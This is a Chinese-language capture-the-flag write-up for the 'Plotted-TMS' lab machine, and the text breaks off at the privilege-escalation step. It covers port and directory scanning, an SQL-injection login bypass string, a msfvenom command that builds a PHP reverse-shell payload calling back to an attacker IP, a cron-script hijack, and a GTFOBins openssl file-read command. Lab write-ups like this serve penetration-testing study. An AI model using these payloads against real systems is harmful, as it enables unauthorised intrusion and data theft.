easy难度,  Linux提权,  WriteUp,  靶场

Plotted-TMS WriteUP

渗透过程

首先,进行端口扫描和目录爆破。

端口扫描:

img

发现目标主机开放22,80和445端口,继续进行端口的详细扫描:

img

继续扫描发现445端口并不是smb服务,而是apache服务,所以将来进行目录爆破时也应该爆破445端口。

漏洞扫描这三个端口:

img

并没有任何发现。

访问80页面:

img

访问 :445 端口:

img

发现都是apache默认界面,所以,进行目录爆破:

img
img

在80端口发现三个目录,依次是 amdin/、shadow/、passwd/,访问这三个目录:

访问admin/目录:

img

打开后是base64编码:

img

进行base64解码:

img

访问shadow/目录:

img

进行base64解码:

img

访问passwd/目录:

img

进行base64解码:

img

发现这三个目录都没有发现。

自己探索的路径:

回顾端口扫描,发现22端口的ssh版本是OpenSSH 8.2p1 Ubuntu 4ubuntu0.3,去Google搜索发现漏洞OpenSSH versions < 9.3p2(CVE-2023-38408.sh),下载.sh尝试:

img
img

发现并不可以,没有利用条件。

正确路径:

由于445端口是http apache服务,所以对445端口进行目录爆破:

img
img

发现 management/目录,访问该目录:

img

是一个交通管理系统,访问页面源代码后没有发现利用点,点击login登录:

img

使用密码 admin' or '1'='1'# 尝试登录:

img

登录成功后,尝试寻找xxs或文件上传,最后在settings内potal cover处可以上传php文件并反弹shell,我们使用msfvenom生成php木马上传到服务器:

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.17.94.196 LPORT=4444 -f raw > rev.php
img

在msf中进行监听并点击update,之后刷新页面:

起msf监听:

img

刷新页面后:

img

获得反弹shell,在 /home/plot_admin目录下有user.txt文档,是我们的第一个flag,但是我们无权查看:

img

发现读权限没有,只有plot_admin用户有读权限:

img

由于是反弹shell,不知道www-data的密码,查看/etc/shadow文件:

img

使用 getcap -r / 2>/dev/null 、find / -perm -u=s -type f 2>/dev/null、和 linpeas.sh 查看后,发现doas命令:

img

doas命令说只允许 plot_admin用户在不需要输入密码的情况下运行openssl命令,所以首先需要提权 plot_admin,我们接下来查看定时任务看有无发现:

img

发现 plot_admin每分钟执行一次 backup.sh。进入到该目录:

img

可以看到backup.sh所有者和所属组都是 plot_admin,其他人没有写权限,返回上级目录,发现scripts文件夹的权限是www-data,这意味着虽然我们无权修改 backup.sh但是可以将它直接删除,我们删除 backup.sh并将反弹shell写入新建的 backup.sh:

img
img

接下来在kali中启动nc监听接收反弹shell:

img

查看第一个flag:

img

因为之前提到doas命令可以提权,所以去GTFObins查找提权命令:

LFILE=file_to_read
openssl enc -in "$LFILE"

进行提权: